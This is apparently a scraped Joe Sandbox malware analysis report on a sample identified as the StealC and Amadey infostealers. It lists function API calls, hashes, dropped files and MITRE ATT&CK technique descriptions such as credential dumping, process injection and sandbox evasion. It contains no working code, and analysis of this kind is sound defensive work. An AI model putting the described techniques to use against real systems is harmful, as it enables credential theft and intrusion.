Part of subcall function 6C761110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C760936,00000001), ref: 6C761167

Strings

clock, xrefs: 6C760F20

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: e731fff55e9371f81c8d3c3c2e048ba8f811e912475d452494f70806ade457d6
Instruction ID: 61929b0b87c4588932b92136ba46bfab1a1f9cad0c9cd5dda9a8de449e537789
Opcode Fuzzy Hash: e731fff55e9371f81c8d3c3c2e048ba8f811e912475d452494f70806ade457d6
Instruction Fuzzy Hash: 78D0123160414457C52166979D4DB96B6ACC7C33BDF104836E50982E104A69A8EBD7A9

Function 6C7D0DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C7D0DF5
TlsGetValue.KERNEL32 ref: 6C7D0E2D
TlsGetValue.KERNEL32 ref: 6C7D0E58
TlsGetValue.KERNEL32 ref: 6C7D0E84

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 005b7d311062e9d650b6d584e14bce5770ea81111895727b82966556dcac03c5
Instruction ID: b9c7916fb01f9b381a93057360f567a8a359bd020bb0ef244caf01cef47716e8
Opcode Fuzzy Hash: 005b7d311062e9d650b6d584e14bce5770ea81111895727b82966556dcac03c5
Instruction Fuzzy Hash: 21319070A453868BDB20BF3996882597BB8BF0630CF46567DDC8887A11EB34E495CBC1

Function 6C72A4E0 Relevance: 5.1, APIs: 4, Instructions: 75stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,6C72A468,00000000), ref: 6C72A4F9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,6C72A468,00000000), ref: 6C72A51B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C72A468,?,6C72A468,00000000), ref: 6C72A545
memcpy.VCRUNTIME140(00000001,6C72A468,00000001,?,?,?,6C72A468,00000000), ref: 6C72A57D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: strlen$memcpy
String ID:
API String ID: 3396830738-0
Opcode ID: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction ID: ca85a87ea16917fd24a2347c0a90db8c4f8cc90a338362d6a418caba320f61a5
Opcode Fuzzy Hash: 600eb8a033a5ca9a43437b08be08586c367961074f3215d643a34829541b8b4a
Instruction Fuzzy Hash: F71129F3D0131567DF009ABADD81AAB77D99F95278F280634ED24877C0F6399A0883E1

Function 6C7D0F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C772AF5,?,?,?,?,?,6C770A1B,00000000), ref: 6C7D0F1A
malloc.MOZGLUE(00000001), ref: 6C7D0F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C7D0F42
TlsGetValue.KERNEL32 ref: 6C7D0F5B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 075f987c3b8b649c5ce005a465267a9db6a8306b4dc2d8041fe112a23c30ced7
Instruction ID: 987d57fc49b6f6251de7a21453bb899bc401ad5c2e770e8f7d30277c6ed8a985
Opcode Fuzzy Hash: 075f987c3b8b649c5ce005a465267a9db6a8306b4dc2d8041fe112a23c30ced7
Instruction Fuzzy Hash: 0701FCB1E012905BEB202B3E9F089567AACEF5325DF161535EC1CC2E21E730E955C6E3

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFBAFBKEGCFBGCBFIDAK

C:\ProgramData\BFBAAFHDHCBGCAKFHDAK

C:\ProgramData\BGHCGCAE

C:\ProgramData\DBAEGCGC

C:\ProgramData\JKJDBAAAEHIEGCAKFHCGDHIEGD

C:\ProgramData\JKKECBGIIIEBGCBGIDHDGCAKJE

C:\ProgramData\KFIJJJEBGCFBGDHIDGCA

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre